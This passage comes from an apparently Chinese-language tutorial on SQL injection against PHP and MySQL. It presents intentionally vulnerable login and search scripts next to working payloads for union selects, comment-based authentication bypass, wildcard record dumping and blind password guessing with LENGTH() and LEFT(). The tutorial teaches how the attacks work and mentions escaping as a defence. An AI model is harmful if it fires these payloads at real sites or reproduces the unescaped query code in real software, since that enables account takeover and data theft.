样使得我们所提交的变量都变成了字符串,即使包含了正确的 SQL 语句,也不会正常执行,而第二句不同,
由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后的变量都会作为 SQL 语句
执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同之处。
① 指定变量$id 为:
1' and 1=2 union select * from user where userid=1/*
此时整个 SQL 语句变为:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'
②指定变量$id 为:
1 and 1=2 union select * from user where userid=1
此时整个 SQL 语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1
看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句作为 SQL
执行,并要注释掉后面原 SQL 语句中的后面的单引号,这样才可以成功注入,如果 php.ini 中
magic_quotes_gpc 设置为 on 或者变量前使用了 addslashes()函数,我们的攻击就会化为乌有,但第二句
没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就 OK 了。
大家看到一些文章给出的语句中没有包含单引号例如 pinkeyes 的《php 注入实例》中给出的那句 SQL
语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看 PHPBB 的代码,就可以发现,
那个$forum_id 所在的 SQL 语句是这样写的:
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";
由于没有用单引号包含变量,才给 pinkeyes 这个家伙有机可乘,所以大家在写 PHP 程序的时候,记得
用单引号把变量包含起来。当然,必要的安全措施是必不可少的。
简单的例子
先举一个例子来给大家了解一下 PHP 下的注入的特殊性和原理。当然,这个例子也可以告诉大家如何
学习构造有效的 SQL 语句。
我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
验证用户文件的代码如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{
echo "登陆失败";
} else {
echo "登陆成功";
}
echo "<p>SQL Query:$sql<p>";
?>
这时我们提交:
http://127.0.0.1/injection/user.php?username=angel' or 1=1
就会返回:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\
injection\user.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\
www\injection\user.php on line 13
看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由此可知我
们构造的语句不能让 Mysql 正确执行,要重新构造:
http://127.0.0.1/injection/user.php?username=angel' or '1=1
这时显示“登陆成功”,说明成功了。或者提交:
http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23
这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻辑运算,
在 ASP 中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据 mysql 的特性,mysql 支持/*和#
两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于编码问题,在 IE 地址栏里
提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会变成#,就成功注释了,这个比逻辑
运算简单得多了,由此可以看出 PHP 比 ASP 强大灵活多了。
通过上面的例子大家应该对 PHP+MYSQL 的注入有个感性的认识了吧?
语句构造
PHP+MYSQL 注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,但构造
语句和 ACCESS、MSSQL 都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。
一、搜索引擎
网上有一大堆的 PHP 程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括不符合
条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的
记录。很多查询的设计就是这样的。
查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算危害,下
面是一个标准的搜索引擎:
<form method="GET" action="search.php" >
<input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search">
</form>
<p><b>Search result</b></p>
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$keywords = $_GET['keywords'];
if (!empty($keywords)) {
//$keywords = addslashes($keywords);
//$keywords = str_replace("_","\_",$keywords);
//$keywords = str_replace("%","\%",$keywords);
$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY
title DESC";
$result = mysql_db_query($dbname,$sql);
$tatol=mysql_num_rows($result);
echo "<p>SQL Query:$sql<p>";
if ($tatol <=0){
echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n";
} else {
while ($article=mysql_fetch_array($result)) {
echo "<li>".htmlspecialchars($article[title])."<p>\n";
} //while
}
} else {
echo "<b>Please enter some keywords.</b><p>\n";
}
?>
一般程序都是这样写的,如果缺乏变量检查,我们就可以改写变量,达到“注入”的目
的,尽管没有危害,当我们输入“___” 、“.__ ”、“%”等类似的关键字时,会把数据库
中的所有记录都取出来。如果我们在表单提交:
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#
SQL 语句就被改变成下面的样子了,
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC
就会列出所有记录,包括被隐藏的,还可以改变排列顺序。这个虽然危害不大,也算是注入的一种方
式了吧?
二、查询字段
查询字段又可以分成两种,本表查询和跨表查询,这两种查询和 ACCESS、MSSQL 差不多,甚至更强大、
更灵活、更方便。不知道为什么就是有人认为比 ASP 难?我们在 ASP 中经常使用的个别函数在 PHP 里要有
小小的改动,如下:
① 本表查询
看下面一条 SQL 语句,多用在论坛或者会员注册系统查看用户资料的,
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username='$username'";
$result = mysql_db_query($dbname,$sql);
$row = mysql_fetch_array($result);
if (!$row) {
echo "该记录不存在";
echo "<p>SQL Query:$sql<p>";
exit;
}
echo "你要查询的用户 ID 是:
$row[userid]\n";
echo "<p>SQL Query:$sql<p>";
?>
当我们提交的用户名为真时,就会正常返回用户的 ID,如果为非法参数就会提示相应的错误,由于是
查询用户资料,我们可以大胆猜测密码就存在这个数据表里(现在我还没有碰见过密码是单独存在另一个
表的程序),记得刚才的身份验证程序吗?和现在的相比,就少了一个 AND 条件,如下:
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE
username='$username'
相同的就是当条件为真时,就会给出正确的提示信息,如果我们构造出后面的 AND 条件部分,并使这
部分为真,那我们的目的也就达到了,还是利用刚才建立的 user 数据库,用户名为 angel,密码为 mypass,
看了上面的例子,应该知道构造了吧,如果我们提交:
http://127.0.0.1/injection/user.php?username=angel' and password='mypass
这个是绝对为真的,因为我们这样提交上面的 SQL 语句变成了下面的样子:
SELECT * FROM user WHERE username='angel' AND password='mypass '
但在实际的攻击中,我们是肯定不知道密码的,假设我们知道数据库的各个字段,下面我们就开始探
测密码了,首先获取密码长度:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
在 ACCESS 中,用 LEN()函数来获取字符串长度,在 MYSQL 中,要使用 LENGTH(),只要没有构造错误,
也就是说 SQL 语句能正常执行,那返回结果无外乎两种,不是返回用户 ID,就是返回“该记录不存在”。
当用户名为angel并且密码长度为6的时候返回真,就会返回相关记录,是不是和ASP里一样?再用LEFT()、
RIGHT()、MID()函数猜密码:
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass
2.1.4、推荐学习
如果想深入学习的话,不妨看看《sql 注入攻击与防御》
下载地址:http://pan.baidu.com/share/link?shareid=347032&uk=1862736455 密码 3200

这个编起来太累了 直接发链接吧。

此资源下载价格为10涂涂币,请先
声明:
本站大部分下载资源收集于网络,只做学习和交流使用,版权归原作者所有!
若您需要使用非免费的软件、源码或服务,请购买正版授权并合法使用!
本站发布的内容若侵犯到您的权益,请联系站长删除,我们将及时处理!
本站所有资源均是收集而来,资源均不包含技术支持和安装服务!
weinxin
我的微信
专注技术,软件,源码,教学,安卓应用的分享,记忆的点滴,时间的积累,永恒的回忆。
赞助VIP
小糊涂

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: